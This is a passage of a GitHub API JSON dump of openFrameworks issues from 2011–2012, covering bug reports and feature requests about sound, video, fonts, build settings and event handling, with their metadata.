iOS the app crashes with\r\n\r\n[Switching to thread 13059]\r\n[Switching to thread 13059]\r\nProgram received signal: “EXC_BAD_ACCESS”.\r\nwarning: Unable to read symbols for /Developer/Platforms/iPhoneOS.platform/DeviceSupport/4.2.1 (8C148)/Symbols/Developer/usr/lib/libXcodeDebuggerSupport.dylib (file not found).\r\n\r\n\r\nThis has been tested on the soundPlayerExample.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/863","comments":1,"milestone":null,"number":863,"html_url":"https://github.com/openframeworks/openFrameworks/issues/863","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"unloadSound on iOS crashes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-03T12:48:09Z","state":"open","user":{"url":"https://api.github.com/users/chrisoshea","gravatar_id":"62d775b0fa28bcde2d9d29405d059be3","login":"chrisoshea","avatar_url":"https://secure.gravatar.com/avatar/62d775b0fa28bcde2d9d29405d059be3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":104786},"id":2710048,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:38:16Z","body":"ofxsynth doesn't wont to compile because this line:\r\nsource->audioOut( working, numFrames, numChannels, tickCount ) in ofxSoundUnit.cpp is wrong.\r\nthe canddates are:\r\n\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels, int deviceID, long unsigned long tickCount )\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/861","comments":10,"milestone":null,"number":861,"html_url":"https://github.com/openframeworks/openFrameworks/issues/861","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofxSynth semantic issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-02T11:14:47Z","state":"open","user":{"url":"https://api.github.com/users/viniciolindo","gravatar_id":"7aa1a7f9bf0b838c0d99886c3682ac5d","login":"viniciolindo","avatar_url":"https://secure.gravatar.com/avatar/7aa1a7f9bf0b838c0d99886c3682ac5d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1298679},"id":2700549,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"ofPixels has getPixels(), but OF has no equivalent getSamples() for sound.\r\n\r\nright now the best solution seems to be using libsndfile with OF http://forum.openframeworks.cc/index.php/topic,3502.0.html\r\n\r\nbut i would love to see the audio architecture for OF mirror the visual architecture better. this means ofSoundPlayer acts like ofVideoPlayer, and we need to add an ofSound object that mirrors ofPixels. ofSound should always store samples in memory, while ofSoundPlayer can stream audio from disk like ofVideoPlayer.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/856","comments":1,"milestone":null,"number":856,"html_url":"https://github.com/openframeworks/openFrameworks/issues/856","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"allow access to individual sound samples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-12-30T02:33:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2685556,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-29T04:43:24Z","body":"Today I came across this strange bug.\r\nAny OF app that needed to use the quicktime video grabber crashed at startup when the this was launched from xcode (eg. using build and run) yet it worked correctly when I opened the compiled app by doubleclicking it.\r\n\r\nThe error thrown was a EXCBADACCESS.\r\nthe function that threw this was ACWma1DecoderEntry\r\n\r\nJust some googling and I found that it had to do with Flip4Mac quicktime component.\r\nI uninstalled it and problem gone.\r\n\r\nThe strange thing is that I've had installed Flip4Mac since long ago, yet I updated iTunes a few days ago, that might have done this problem to arise.\r\n\r\nI don't know if this is actually an OF bug from its Quicktime implementation or what ever but it was really annoying getting across with it. Hope this helps others.\r\n\r\nCheers!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/855","comments":0,"milestone":null,"number":855,"html_url":"https://github.com/openframeworks/openFrameworks/issues/855","assignee":null,"title":"video Grabber crashes with Flip4Mac","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-12-29T04:43:24Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878},"id":2677212,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-23T14:13:39Z","body":"ofNode::resetTransform only resets orientation and position.\r\n\r\nI think setScale(1,1,1); needs to be called too in ofNode::resetTransform \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/851","comments":0,"milestone":null,"number":851,"html_url":"https://github.com/openframeworks/openFrameworks/issues/851","assignee":null,"title":"ofNode::resetTransform does not reset scale","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-12-23T14:13:39Z","state":"open","user":{"url":"https://api.github.com/users/companje","gravatar_id":"30a7e135fe77636519d74d129c60e156","login":"companje","avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":156066},"id":2647508,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-22T14:31:37Z","body":"if I add an external lib to my addon, I should provide headers for all platforms to be cross-platfomr like OF but the Makefile doesn't have any switch to ignore certain files which are not needed on linux.\r\n\r\nthe problem is that the OF Makefile compiles everythin under libs/mylib/include\r\n\r\nsee here for more: http://forum.openframeworks.cc/index.php?topic=6486.new;topicseen#new","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/849","comments":0,"milestone":null,"number":849,"html_url":"https://github.com/openframeworks/openFrameworks/issues/849","assignee":null,"title":"skip files in an addon with Makefile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-12-22T14:31:37Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":2637694,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-19T22:35:27Z","body":"But it does!\r\n\r\nSomehow it's casting from float to ofPoint, maybe using the ofVec3f( float _x=0.f, float _y=0.f, float _z=0.f ) constructor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/846","comments":10,"milestone":null,"number":846,"html_url":"https://github.com/openframeworks/openFrameworks/issues/846","assignee":null,"title":"ofCircle(float, float) should not work","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-12-14T00:42:31Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2546302,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-10T21:25:49Z","body":"Please add \"-Wreturn-type\" to the XCode project. I've noticed that it's a common mistake to add a return type but nothing is returned. Adding this option will at least show an error. I think Visual Studio shows an error already by default. You can add it like this in the project settings: http://img805.imageshack.us/img805/8745/screenshot20111210at102.png \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/843","comments":0,"milestone":null,"number":843,"html_url":"https://github.com/openframeworks/openFrameworks/issues/843","assignee":null,"title":"Add return-type warning for XCode project files ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-12-10T21:25:49Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":2512838,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-31T19:36:40Z","body":"Playing a movie crashes on exit on linux. Fedora 16 32-bit, latest git.\r\n\r\noutput:\r\n./moviePlayerExample\r\ndeleting video player\r\nterminate called after throwing an instance of 'Poco::SystemException'\r\n what(): System exception\r\nAborted (core dumped)\r\n\r\nbacktrace:\r\n#0 0x00110416 in __kernel_vsyscall ()\r\n#1 0x4623998f in raise () from /lib/libc.so.6\r\n#2 0x4623b2d5 in abort () from /lib/libc.so.6\r\n#3 0x46a9b74d in __gnu_cxx::__verbose_terminate_handler() ()\r\n from /usr/lib/libstdc++.so.6\r\n#4 0x46a994c4 in ?? () from /usr/lib/libstdc++.so.6\r\n#5 0x46a99500 in std::terminate() () from /usr/lib/libstdc++.so.6\r\n#6 0x46a9964f in __cxa_throw () from /usr/lib/libstdc++.so.6\r\n#7 0x08098bef in Poco::MutexImpl::lockImpl (this=0x814eb48)\r\n at /usr/include/Poco/Mutex_POSIX.h:82\r\n#8 0x08098d07 in Poco::FastMutex::lock (this=0x814eb48)\r\n at /usr/include/Poco/Mutex.h:257\r\n#9 0x0809907d in Poco::ScopedLock::ScopedLock (this=\r\n 0xbfffeabc, mutex=...) at /usr/include/Poco/ScopedLock.h:59\r\n#10 0x0809a340 in Poco::AbstractEvent, Poco::p_less > >, Poco::AbstractDelegate, Poco::FastMutex>::operator-=\r\n (this=0x814eb10, aDelegate=...) at /usr/include/Poco/AbstractEvent.h:195\r\n#11 0x080d40c5 in ofRemoveListener, ofEventArgs, ofGstUtils> (event=..., listener=0x82698e0, listenerMethod=\r\n (void (ofGstUtils::*)(ofGstUtils * const, ofEventArgs &)) 0x80d27b4 ) at ../../../openFrameworks/events/ofEventUtils.h:87\r\n#12 0x080d25be in ofGstUtils::close (this=0x82698e0)\r\nat ../../../openFrameworks/video/ofGstUtils.cpp:353\r\n#13 0x080d175e in ofGstUtils::~ofGstUtils (this=0x82698e0, \r\n __in_chrg=)\r\n at ../../../openFrameworks/video/ofGstUtils.cpp:85\r\n#14 0x080d32c4 in ofGstVideoUtils::~ofGstVideoUtils (this=0x82698d8, \r\n __in_chrg=)\r\n at ../../../openFrameworks/video/ofGstUtils.cpp:536\r\n#15 0x080d06ff in ofGstVideoPlayer::~ofGstVideoPlayer (this=0x82698b8, \r\n __in_chrg=, __vtt_parm=)\r\n at ../../../openFrameworks/video/ofGstVideoPlayer.cpp:19\r\n#16 0x080d07d9 in ofGstVideoPlayer::~ofGstVideoPlayer (this=0x82698b8, \r\n __in_chrg=, __vtt_parm=)\r\n at ../../../openFrameworks/video/ofGstVideoPlayer.cpp:21\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/840","comments":3,"milestone":null,"number":840,"html_url":"https://github.com/openframeworks/openFrameworks/issues/840","assignee":null,"title":"ofGstVideoPlayer crash on exit","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2011-12-08T11:53:55Z","state":"open","user":{"url":"https://api.github.com/users/gaborpapp","gravatar_id":"9cb0f8a67c238d2aa91d9a7957b9ef4b","login":"gaborpapp","avatar_url":"https://secure.gravatar.com/avatar/9cb0f8a67c238d2aa91d9a7957b9ef4b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":203532},"id":2486705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T12:30:53Z","body":"right now the only way to change the type of pixels is to go through ofImage and set image type there.\r\n\r\nseems like this should be moved into ofPixels.\r\n\r\nthoughts?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/838","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":838,"html_url":"https://github.com/openframeworks/openFrameworks/issues/838","assignee":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"title":"ofPixels has no setImageType","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-12-07T16:30:59Z","state":"open","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"id":2476561,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:44:08Z","body":"I made a small example which uses the Wikipedia xml api to make queries which are then parsed by an ofXmlSettings object. The problem is Wikipedia complains there is no User-Agent string and dosen't return any data, while threatening to block by IP.\r\n\r\nThe fix was as simple as adding this to ofURLFileLoader.cpp line 144:\r\n
\r\n\t\tHTTPRequest req(HTTPRequest::HTTP_GET, path, HTTPMessage::HTTP_1_1);\r\n        \treq.add(\"User-Agent\", \"Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405\");\r\n
\r\n\r\nIt uses the iOS safari user agent string. I think the best fix is to expose the HTTPRequest and HTTPResponse Poco objects so that, like in the ofxHttpUtils, you could add manually the string/value to the request before sending it. I don't think it should be set ti a default within the class. Also, it would be awesome to be able to add data into and pull data out of the requests. This is a great wrapper, especially the threading, I'd just like to have the full req/response control ... perhaps provide a method to add Poco::HttpRequests and recieve Poco::HttpResponses which could be set as references inside the ofxHttpRequest/ofxHttpResponse objects?\r\n\r\nOn another note, ofURLFileLoader seems like a rather specific name for a regular HTTP action. What's wrong with ofHttpSession etc since I've found it useful for more then just","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/837","comments":0,"milestone":null,"number":837,"html_url":"https://github.com/openframeworks/openFrameworks/issues/837","assignee":null,"title":"ofURLFileLoader dosen't set HTTP User-Agent string and there is no way to set it","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-12-05T21:44:08Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2455011,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-04T00:08:35Z","body":"Dummy issue to ensure that the 0073 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/836","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":836,"html_url":"https://github.com/openframeworks/openFrameworks/issues/836","assignee":null,"title":"0073 Release tracking issue","labels":[],"closed_at":null,"created_at":"2011-12-04T00:08:35Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2439965,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T09:03:22Z","body":"Not sure if is an issue or im doing wrong.\r\n\r\nIm trying to implement dragEvent() in an external class in windoes 7. I'm getting neither an error nor a response nor result. While debugging dragEvent is not called at all. The same code works perfectly on osx. \r\n\r\nhere's some:\r\n\r\ndummy.h\r\n\r\n\t#include \"ofMain.h\"\r\n\r\n\tclass dummy\r\n\t{\r\n\t\tpublic:\r\n\t\t\tdummy();\r\n\t\t\t~dummy();\r\n\t\t\t\t\t\r\n\t\t\tvoid config();\r\n\t\t\tvoid dragEvent(ofDragInfo &info);\r\n\t\t\t\r\n\t\tprivate:\r\n\t\tprotected:\r\n\t\t\r\n\t};\r\n\r\ndummy.cpp\r\n\r\n\t#include \"dummy.h\"\r\n\r\n\tdummy::dummy(){}\r\n\r\n\tdummy::~dummy(){}\r\n\r\n\tvoid dummy::config(){\r\n\t\tofAddListener(ofEvents.fileDragEvent, this, &dummy::dragEvent);\r\n\t}\r\n\r\n\tvoid dummy::dragEvent(ofDragInfo &info){\r\n\t\tfor( int i = 0; i < info.files.size() ; i++){\r\n\t\t\tcout << \"path: \" << info.files[i] << endl;\r\n\t\t}\r\n\t}\r\n\r\n\r\ntesApp.h\r\n\r\n\t#include \"ofMain.h\"\r\n\t#include \"dummy.h\"\r\n\r\n\r\n\tclass testApp : public ofBaseApp{\r\n\r\n\t\tpublic:\r\n\t\t\tvoid setup();\r\n\t\t\tvoid update();\r\n\t\t\tvoid draw();\r\n\r\n\t\t\tvoid keyPressed (int key);\r\n\t\t\tvoid keyReleased(int key);\r\n\t\t\tvoid mouseMoved(int x, int y );\r\n\t\t\tvoid mouseDragged(int x, int y, int button);\r\n\t\t\tvoid mousePressed(int x, int y, int button);\r\n\t\t\tvoid mouseReleased(int x, int y, int button);\r\n\t\t\tvoid windowResized(int w, int h);\r\n\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\t\r\n\t\t\tdummy d;\r\n\r\ntestApp.cpp\r\n\r\n\t#include \"testApp.h\"\r\n\r\n\tvoid testApp::setup(){\r\n\t\td.config();\r\n\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/831","comments":0,"milestone":null,"number":831,"html_url":"https://github.com/openframeworks/openFrameworks/issues/831","assignee":null,"title":"dragEvent() in new class not working in win7","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-12-03T08:51:42Z","state":"open","user":{"url":"https://api.github.com/users/decolector","gravatar_id":"7165a50ea8df968de57ffb5a27ba6ebc","login":"decolector","avatar_url":"https://secure.gravatar.com/avatar/7165a50ea8df968de57ffb5a27ba6ebc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":390056},"id":2436532,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-02T16:28:49Z","body":"Dummy issue to ensure that the 0072 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/829","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":829,"html_url":"https://github.com/openframeworks/openFrameworks/issues/829","assignee":null,"title":"0072 Release tracking issue","labels":[],"closed_at":null,"created_at":"2011-12-02T16:28:49Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2429871,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-29T17:54:48Z","body":"Loading Futura at font size 10 and simplify=0 yields oversimplified chars in a pdf render. I'm not sure if there's a way to fix this if the fonts are small.\r\n\r\nA workaround is to load the font at a larger size, say 40, then scale down by 0.25 when drawing. \r\n\r\nThe font below is a zoom of the pdf export using font size 10. The font above is Futura at font size 144 by comparison.\r\n\r\n![oversimplified fonts](http://farm8.staticflickr.com/7161/6423768819_9129b6d608_o.jpg)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/825","comments":2,"milestone":null,"number":825,"html_url":"https://github.com/openframeworks/openFrameworks/issues/825","assignee":null,"title":"small font sizes yield oversimplified glyph shapes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-29T08:26:16Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2380571,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-19T07:01:47Z","body":"If I use loadScreenData with anti-Aliasing turned on in the program's startup like this:\r\n\r\nofAppiPhoneWindow * iOSWindow = new ofAppiPhoneWindow();\r\niOSWindow->enableAntiAliasing(4);\r\n\r\nthen the texture will load in nothing but solid black. If I bypass this anti-aliasing, it works fine. I also cannot properly populate a texture using loadScreenData in a landscape orientation. Changing to Portrait orientation in the update loop, and then back to landscape after the grab fixes it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/822","comments":5,"milestone":null,"number":822,"html_url":"https://github.com/openframeworks/openFrameworks/issues/822","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iOS - ofTexture.loadScreenData issue when antiAliasing is on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-28T06:48:27Z","state":"open","user":{"url":"https://api.github.com/users/momo-the-monster","gravatar_id":"31f8a3ef87e828b70d2a441c8dae97d8","login":"momo-the-monster","avatar_url":"https://secure.gravatar.com/avatar/31f8a3ef87e828b70d2a441c8dae97d8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":737888},"id":2364541,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-28T18:48:58Z","body":"It'd be nice if ofRectangle used a ofVec2f or ofVec3f internally so you could do the something like:\r\n\r\n
\r\nofRectangle myRect;\r\nofVec2f vel(-1, 2);\r\nmyRect.pos += vel;\r\n
\r\n\r\nNow I'm not saying drop the x and y member vars, but link them to the ofVec internals thorugh either a union or reference. A reference would be easy through the constructor:\r\n\r\n
\r\nclass ofRectangle {\r\n\r\n   public:\r\n\r\n     float &x, &y;\r\n     ofVec2f pos;\r\n     ....\r\n\r\n\r\nofRectangle::ofRectangle() : x(pos.x), y(pos.y) {\r\n\r\n...\r\n
